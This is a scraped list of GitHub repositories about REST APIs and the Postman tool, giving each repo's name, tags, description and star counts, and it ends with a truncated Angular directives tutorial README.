introduction-to-rest-api-with-postman-alfeyo created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-DalitsoKasonde intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-DalitsoKasonde created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-geraldMaboshe intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-geraldMaboshe created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-jake1808 intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-jake1808 created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-japhetmesa intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-japhetmesa created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-kamena1994 intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-kamena1994 created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-Mambwe94 intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-Mambwe94 created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-masudim intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-masudim created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-MathewsNyirongo intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-MathewsNyirongo created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-mcdee92 intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-mcdee92 created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-Mulubwa17 intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-Mulubwa17 created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-Nchimzy708 intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-Nchimzy708 created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-stctheproducer intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-stctheproducer created by GitHub Classroom | 0 stars | 0 watchers | 0 forks |
brunoskape/fake_apirest_postman fake, rest |
FAKE API REST PARA SER UTILIZADO NO POSTMAN | 0 stars | 0 watchers | 0 forks |
bugsgk/postman rest, rest api |
postman rest apis | 0 stars | 0 watchers | 0 forks |
CaptainStorm21/node-restapi-express-automobiles express, mobile, mongo, mongod, mongodb, node, rest, restapi, restful, scratch |
creating restful API from scratch using node/mongodb/express postman | 0 stars | 0 watchers | 0 forks |
carlaulloa/postman-report-test-rest generate, report, reports, rest, test |
App to generate reports with Postman and Newman | 0 stars | 0 watchers | 0 forks |
castrosoft/GameOfTheYear function, functions, rest, store |
Nodejs - Visual Studio Code - Chrome - AngularCLI - Postman - Firestore - Firebase functions - Deployment | 0 stars | 0 watchers | 0 forks |
codeasashu/python-postman-restmocker application, example, exposes, flask, host, local, mock, mocks, python, rest |
This python exposes a flask application which mocks your postman example on localhost | 0 stars | 0 watchers | 0 forks |
coderIlluminatus/twitter-rest-api rest, test, tests, twitter |
Twitter-like Rest API based on Node.js and tests using Chai and Mocha | 0 stars | 0 watchers | 0 forks |
daise18/ProjetoSpring banco, boot, conceitos, controller, entity, java, json, rest, spring, spring boot, test, util, utilizando |
Projeto java com spring boot, spring jpa, utilizando conceitos de microsserviços/apis, banco de dados, json, anotação, repository, entity, rest controllers, testes manuais via postman., | 0 stars | 0 watchers | 0 forks |
davids13/crud-spring-data-rest crud, data, rest, spring |
DAO technique: SPRING DATA REST (w/ Spring Boot, MySQL, RESTful) | 0 stars | 0 watchers | 0 forks |
ddhewitte/restfull-php rest, restful, restfull, test |
Membangun REST API simple (test with POSTMAN) | 0 stars | 0 watchers | 0 forks |
deechris27/REST_API_CRUD_GEOTargeting client, crud, rest |
Node JS, Mongo DB - GeoJson, Express, Postman rest client. A complete rest crud project | 0 stars | 0 watchers | 0 forks |
devbaggett/restful_task_api application, operation, operations, rest, restful, routing, task |
created an application with routing rules which offer CRUD operations using POSTMAN API | 0 stars | 0 watchers | 0 forks |
eddogustian/rest_api rest |
Build and Testing REST API dengan Aplikasi CRUD Laravel with Postman | 0 stars | 0 watchers | 0 forks |
ekor15/ConnectFour attempt, component, file, game, level, method, methods, rest, rest api |
an attempt to create a level 2 rest api for component base connect four game add postman file for methods calls | 0 stars | 0 watchers | 0 forks |
endrose/rest-api library, rest |
menangkap api dengan bantuan aplikasi postman dan library guzzle | 0 stars | 0 watchers | 0 forks |
fabiohenriquebayma/ReplacingPostman environment, external, organized, place, postman tests, replace, rest, rest service, service, services, test, tests, tool |
A tool to replace CI postman tests in a CI environment. Test are organized by stories. Can test externals rest services. | 0 stars | 0 watchers | 0 forks |
Fantaso/url-shortener-api django, django rest, ember, form, framework, rest, shortener, transform, user |
Url shortener API with Django and django rest framework. Project consists to allow a user to transform a long web url into a pattern-consistent (encoded) small url easy to share and remember. | 0 stars | 0 watchers | 0 forks |
feernando-cortes/API-mongoDB-nodeJS client, desarrollada, mongo, node, rest |
API desarrollada con mongoDB y node.js para cliente rest POSTMAN de un CRUD de trovadores. | 0 stars | 0 watchers | 0 forks |
FernandoAlencarJr/backend-postman-expresss-cors-bodyparser-noderestful backend, crud, express, node, noderestful, parse, parser, rest, restful |
uso para crud | 0 stars | 0 watchers | 0 forks |
GideonFlynn/Item-Catalog catalog, framework, object, objects, rest |
A catalog of objects where each item has a category, shop, and manufacturer. It has a useful API made with Postman, the rest of the code; Python with the Flask framework, and PostgreSQL | 0 stars | 0 watchers | 0 forks |
Gwickstrom/restfulTaskApi desktop, rest, restful |
restfulTaskAPI using POSTMAN desktop app. | 0 stars | 0 watchers | 0 forks |
hamishngcoder/restful-web-service client, rest, restful, service |
A project to Create Rest Api using postman rest client | 0 stars | 0 watchers | 0 forks |
hellosix/postman-plus rest, restful |
网页版postman,可以分组管理restful接口,部署到跳板机就可以在本地访问线上接口了 | 0 stars | 0 watchers | 0 forks |
hirosht/restAssuredApiTestFramework case, cases, endpoint, endpoints, framework, maven, rest, sample, struct, structure, test |
Sample framework written for API Testing using RestAssured/TestNg. Project is structured with the maven repo. The sample test cases are pointed to endpoints given from Postman. | 0 stars | 0 watchers | 0 forks |
hqq518/Apitest application, form, json, rest, restful, test |
基于HTML5、Angularjs、Ajax创建的一个用于测试restful api的页面,有点类似postman的功能,支持POST、GET、PUT、DELETE方法,支持添加请求参数、支持添加请求头,支持application/x-www-form-urlencoded和application/json编码格式,支持将历史请求记录保存到本地存储。 | 0 stars | 0 watchers | 0 forks |
huangbeini/Postman-Resttest jenkins, rest, test |
好食期 postman+resttest+jenkins 接口自动化测试 | 0 stars | 0 watchers | 0 forks |
iamrafiul/noderestapi chrome, node, operation, plugin, rest, restapi, test |
Simple RESTful API using NodeJS and MongoDB for basic CRUD operation. You can test this api using POSTMAN chrome plugin. | 0 stars | 0 watchers | 0 forks |
iraging/splunk_restapi_postman collection, postman collection, rest, restapi |
splunk_restapi_postman collection 7.1.1 | 0 stars | 0 watchers | 0 forks |
iRasyid/rest-server rest, server |
Jobsheet 7 {Pengenalan JSON, Penggunaan Postman,Public API, Restful API, cURL} | 0 stars | 0 watchers | 0 forks |
jhrodrigu/git-rest-api consumir, rest, rest api, servicio |
Como consumir servicios rest api, con Json y desde postman | 0 stars | 0 watchers | 0 forks |
joannalaine/postman-restful-booker book, booker, rest, restful, test, tests |
Collections of API tests written in Postman for the Restful Booker API | 0 stars | 0 watchers | 0 forks |
johnnycupcakes/javaUnirest implementation, java, rest |
Simple implementation for making HTTP raw requests using Postman and the HS API | 0 stars | 0 watchers | 0 forks |
Joseeptessele/rest_api_teste rest, rest api, spring, test, testada |
rest api com spring, testada com postman | 0 stars | 0 watchers | 0 forks |
Juminhark/rest-tutorial rest, tutorial |
Node.js-Express-MongoDB with postman | 0 stars | 0 watchers | 0 forks |
Juminhark/restapi_tutorial rest, restapi, tutorial |
Node.js-Express-MongoDB with postman | 0 stars | 0 watchers | 0 forks |
kaijack/CI-API codeigniter, rest, rested, test |
codeigniter api test with rested/ postman | 0 stars | 0 watchers | 0 forks |
kaiocesar/node-api addons, chrome, node, rest |
Api restFul com Node.js + Express.js + MongoDB (Methods Get, Post, Put e Delete) com Teste no Postman (addons by chrome) | 0 stars | 0 watchers | 0 forks |
Kaylleur/rest-client-simple-ui client, rest |
simple ui for a rest client like postman | 0 stars | 0 watchers | 0 forks |
kiticgoran90/rest-api-crud-app crud, learn, learning, rest |
Student project, REST API CRUD app, learning Spring MVC, Spring REST, Hibernate ORM, JSON, MySQL, Maven, Postman... | 0 stars | 0 watchers | 0 forks |
ksandun/spring-boot-simple-rest-crud-oparation boot, crud, operate, operation, rest, spring |
This is a rest crud operation which contains back-end. We can operate crud operation over the postman. | 0 stars | 0 watchers | 0 forks |
kullapareddypranay/task-manager-api access, manager, related, rest, task |
rest-api ,Use postman or others related for accessing the api | 0 stars | 0 watchers | 0 forks |
laffingDragons/crudApp client, crud, data, express, module, modules, node, rest |
Using node and express and various modules, using POSTMAN rest client manuplating Json data | 0 stars | 0 watchers | 0 forks |
layoutzweb/postman-collection-generator backend, collection, express, generator, middleware, rest |
Generate a collection from your middleware based api backend (express, restify, koa...) | 0 stars | 0 watchers | 0 forks |
leskivan/rest-crud-showcase case, collection, crud, json, postman collection, rest, server, showcase |
simple REST crud with json server and postman collection | 0 stars | 0 watchers | 0 forks |
lilitam/stores_rest_api_test case, cases, design, designed, python, rest, store, stores, test |
Rest API - test cases designed in python and with Postman | 0 stars | 0 watchers | 0 forks |
lovepli/springboot_postman boot, rest, spring, springboot |
使用postman测试rest_API接口 | 0 stars | 0 watchers | 0 forks |
lucasjellema/workshop-api-rest-json-Node-JS basics, design, designed, implementation, json, rest, workshop |
Two to three day workshop on REST API and JSON, HTTP basics, Node and Server Side JavaScript and the implementation of a self-designed API. Tools used incude Google Chrome, Postman, Visual Studio Code, Apiary.io and Node | 0 stars | 0 watchers | 0 forks |
maheshkareeya/flask-rest-api flask, rest |
REST API USING FLASK SQLITE | 0 stars | 0 watchers | 0 forks |
MAJimenezSantos92/restful_crud_api crud, operation, operations, rest, restful |
REST APIs and CRUD operations : ES6 + NODEJS + MONGODB + POSTMAN | 0 stars | 0 watchers | 0 forks |
matias1305/restserver-express express, fuente, rest, server |
Código fuente de un servidor express RestServer | 0 stars | 0 watchers | 0 forks |
mboladop/Django-resting-API rest, resting |
Building a simple resting API with DJANGO/PYTHON/Postman | 0 stars | 0 watchers | 0 forks |
Mehran-at/spring-mvc-rest-customer-application application, apps, customer, example, rest, sake, spring |
Simple rest application for the sake of exercising REST API+trying in POSTMAN APP. Not a good example for big apps | 0 stars | 0 watchers | 0 forks |
melitus/rest-api-authentication auth, authenticate, authentication, demonstrate, endpoint, endpoints, rest, rest api, user |
:art: This is to demonstrate how to authenticate a user to use rest api endpoints | 0 stars | 0 watchers | 0 forks |
MerumRaviTeja/Basic-Authentication-with-rest-postman-credentails-with-screenshots example, file, files, rest, screenshots |
example files | 0 stars | 0 watchers | 0 forks |
michaelromanoo/rest-api function, functional, rest |
this is a simple functional REST API which makes use of POST, GET, UPDATE and DELETE with the use of Postman. | 0 stars | 0 watchers | 0 forks |
midathanasiva/AssignMentApril09RestAPISpringFrameworkUsingPostman application, data, rest, restful, send, software, web app |
creating web application ,using restful API, and postman software to send data (request data) and getting response data. | 0 stars | 0 watchers | 0 forks |
Mregussek/rest-api-server learn, rest, server, software |
Trivial REST API software, you can easily learn its capabilities | 0 stars | 0 watchers | 0 forks |
Narbhakshi/Simple-Rest-Agent enterprise, install, rest, restrict, tool, tools |
This is a Simple Rest Agent. Useful when we cannot install/use Postman-like tools due to enterprise restrictions | 0 stars | 0 watchers | 0 forks |
netomacedo/simple-spring-api-restful concept, rest, restful, spring |
Simple project showing how to use spring 4 for build API using restful concepts. | 0 stars | 0 watchers | 0 forks |
Nicholas-S-Baker/restfulTaskAPI rest, restful |
Working with Postman | 0 stars | 0 watchers | 0 forks |
nishthagoel99/restapi-shopdb data, database, login, order, product, products, rest, rest api, restapi, signup, user, users |
A rest api made for users signup,login and to order products and then later see their products. MongoDB database is used! | 0 stars | 0 watchers | 0 forks |
noelsasi/mongo-REST-API clone, express, mongo, rest, test |
simple mongo rest-API build using express and Mongoose. clone it and test with Postman | 0 stars | 0 watchers | 0 forks |
orcome/restful-api-postman rest, restful |
Belajar RESTful API | 0 stars | 0 watchers | 0 forks |
prashantchamoli05/spring-crm-rest rest, spring |
Customer Relationship Management Spring-Hibernate REST API Project | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rdbhagat999/node-jwt-mocha-todo-rest-api auth, authentication, chrome, endpoint, endpoints, extension, json, jsonwebtoken, node, rest, rest api, send, todo, token |
Nodejs rest api with authentication using jsonwebtoken. Use postman chrome extension to send requests to endpoints | 0 stars | 0 watchers | 0 forks |
rhabhishek/rest-api-manager application, client, manager, rest, test |
A client application to manage and test APIs. (One similar to Postman, RESTClient) | 0 stars | 0 watchers | 0 forks |
rhine59/camrest collection, rest |
Hugh Hockett POSTMAN collection of CAM REST calls | 0 stars | 0 watchers | 0 forks |
rob2universe/camunda-rest-postman collection, rest |
A Postman collection for the Camunda BPM REST API. | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
ryancui-/rest-tool rest, terminal, tool |
A REST API tool like Postman or Insomnia, but based on terminal and more features. | 0 stars | 0 watchers | 0 forks |
saksham1998/node-rest auth, authentication, example, node, rest, rest api, security, sign up |
A small example rest api, with security,authentication,log in and sign up features. Complete Backend of the app. To be run on postman | 0 stars | 0 watchers | 0 forks |
Sayam753/movie_rating_drf django, django rest, handling, movie, rating, rest, user, users, web app |
A django rest based web app for handling movie_ratings for different users. | 0 stars | 0 watchers | 0 forks |
SeleneAbraldez/Progamacion-III rest |
Material educativo de la materia Programación III - PHP, HTML, SQL, Postman - (JSON, Cookies, POST/GET || PUT/DELETE, Apirest, Slim, Middleware, JWT) | 0 stars | 0 watchers | 0 forks |
shetty-shruti/restful-crud-api crud, endpoint, endpoints, form, instance, interacting, performing, rest, restful, test |
A RESTful API performing CRUD(Create,Retrieve,Update,Delete) with Node.js, Express and MongoDB. Mongoose for interacting with the MongoDB instance. Postman is used to test these endpoints. | 0 stars | 0 watchers | 0 forks |
shigeyf/wowza-rest-apis rest |
Postman Collections for Wowza Media Systems Products | 0 stars | 0 watchers | 0 forks |
Shobuj718/apicrud crud, rest, rest api |
Laravel rest api crud using postman | 0 stars | 0 watchers | 0 forks |
siddharth151199/authentication-in-node-js auth, authentication, client, editor, node, package, rest |
use postman or rest client package in editor | 0 stars | 0 watchers | 0 forks |
silvestrevivo/restify-restfulapi rest, restful, restfulapi, tutorial |
RestfulAPI developed with Restify regarding the Youtube tutorial from @bradtraversy | 0 stars | 0 watchers | 0 forks |
SofianeHadjadj/l3_nodejs_apirest_2018 application, node, nodejs, rest |
Projet de L3 d'application web en Node.js + Express.js + MongoDB + API IGDB (fonctionne avec Postman) | 0 stars | 0 watchers | 0 forks |
somraky/2_2upload_image_restful image, rest, restful, test, upload |
upload image by restful api. you can use postman for test this. | 0 stars | 0 watchers | 0 forks |
souhaiebtar/codeigniterapi codeigniter, rest, rest api |
codeigniter rest api, how to ? | 0 stars | 0 watchers | 0 forks |
soumyadip007/Employee-Relationship-CURD-Application-using-Spring-Boot-Thymeleaf-Hibernate-JPA-MVC application, boot, hibernate, import, rest, restful, service, services, spring |
CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services and along with this we have used Spring-boot ,JPA, Spring-Data-Rest and hibernate. | 0 stars | 0 watchers | 0 forks |
tareque20/fake-rest-api-using-json-server fake, json, rest, rest api, server, test |
Simple rest api test using json server | 0 stars | 0 watchers | 0 forks |
tevtumbel/restful-api-crud crud, operation, operations, rest, restful |
Restful API CRUD operations using Postman 🕴🕴🕴 | 0 stars | 0 watchers | 0 forks |
TJaySteno/P11-build-rest-api course, rating, rest, reviews, site, store, stores, user, users, website |
This REST API handles requests for a course rating website. Using MongoDB, stores the reviews users make on different courses. | 0 stars | 0 watchers | 0 forks |
tom-china/yii2-restful rest, restful |
基于yii2实现restful api,该项目为基础项目,后面可以拿该项目进行实现,请求可以利用postman进行验证 | 0 stars | 0 watchers | 0 forks |
top-angel/Essteem-Backend-API check, django, docker, framework, rest, steem |
check by using postman, django-rest-framework, docker, postgreSQL | 0 stars | 0 watchers | 0 forks |
Unogwudan/immaculate-staff-management-rest-api employee, rest, system |
Rest API for an employee management system developed with Java, JavaEE (JAX-RS, EJB, JPA), Payara, Maven, MySQL, Netbeans, Postman. | 0 stars | 0 watchers | 0 forks |
VajidMean/node-rest-api-or-todo-api basics, mongo, mongod, mongodb, node, operation, rest, todo |
Contain basics of CRUD operation and REST-API with mongodb throughout "postman". | 0 stars | 0 watchers | 0 forks |
vartikayadav/using-django-rest-framework-to-make-languages-api- django, django rest, fetcch, framework, lang, language, rest |
built api to fetcch languages using django rest framework and postman . | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
VijayUndrajavarapu/rest java, rest |
postman | 0 stars | 0 watchers | 0 forks |
vishalbhardwaj26/hw-rest-express-nodejs exercise, express, node, nodejs, rest |
Elaborated exercise on rest+express+nodejs. | 0 stars | 0 watchers | 0 forks |
vmchiran/postman-oci-rest collection, collections, rest |
Postman collections for OCI | 0 stars | 0 watchers | 0 forks |
wenqingliuxu/j1906_spb boot, rest, restful, spring, springboot |
springboot实现restful接口用于postman测试 | 0 stars | 0 watchers | 0 forks |
wilmiltoss/Login_api_rest form, format, login, rest |
Ejemplo de login en formato api con postman | 0 stars | 0 watchers | 0 forks |
WingChhun/Mongo_rest_api endpoint, play, rest, sports, test |
Example of a REST api for a sports team with players, will test making endpoint requests using POSTMAN. | 0 stars | 0 watchers | 0 forks |
yashdeepk/restapi application, data, endpoint, endpoints, flask, form, format, header, json, python, rest, restapi, verify |
Web Service API using python and flask. A Flask application that expose the RESTful URL endpoints. All data sent to and from the API is in JSON format with the Content-Type header field set to application/json. Used postman to verify the outcome. | 0 stars | 0 watchers | 0 forks |
Zainab-Kalief/product-catlog product, rest, restful |
Spring Boot app showing off the use of restful api using postman | 0 stars | 0 watchers | 0 forks |
zeroidentidad/api-rest-prac1 rest, zero |
Practica primer REST API usando Node.js y Postman | 0 stars | 0 watchers | 0 forks |
liyasthomas/postwoman alternative, builder, free, http, https, native, postwoman |
👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io | 18028 stars | 18028 watchers | 1105 forks |
sumory/moklr http, mock, server, stat, status |
another "postman", status server, http request mock. | 89 stars | 89 watchers | 26 forks |
davellanedam/node-express-mongodb-jwt-rest-api-skeleton angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync |
This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp | 0 stars | 0 watchers | 119 forks |
stategen/stategen flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript |
通用springMvc/springBoot分布式非强迫性全栈架构(java服务端,H5、iOS、andriod前端),内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX,是唯一支持迭代开发的全栈代码生成器,大量前、后端代码通过生成器生成,其中后端任意api直接生成前端网络调用、状态化、交互等相关代码,把前后端分离开发"拉"回来,目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成,不改变原开发流程、生成80%代码,兼容后20%你自己的代码,拒绝挖坑! https://github.com/stategen/stategen | 44 stars | 44 watchers | 10 forks |
acquia/http-hmac-postman hmac, http, prescript, script |
A postman prescript for connecting to HMAC protected API's | 30 stars | 30 watchers | 34 forks |
gencebay/httplive http |
HTTP Request & Response Service, Mock HTTP | 0 stars | 0 watchers | 43 forks |
CiscoDevNet/opendaylight-sample-apps application, applications, apps, http, https, light, sample |
Sample applications for use with OpenDaylight (https://www.opendaylight.org/) | 0 stars | 0 watchers | 36 forks |
EhsanTang/ApiDebug browser, http, service, services, test, testing |
浏览器API接口调试插件,Chrome接口调试工具,http调试,post调试,post模拟工具,postman,post接口调试,post测试插件-ApiDebug is a browser plug-in for testing RESTful web services. http://api.crap.cn | 0 stars | 0 watchers | 36 forks |
thewheat/intercom-postman-collection action, collection, developer, developers, extract, file, generate, http, reference, test, version |
A Postman Collection file for the Intercom API http://developers.intercom.com/reference Includes extraction code to generate the latest version | 7 stars | 7 watchers | 7 forks |
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that 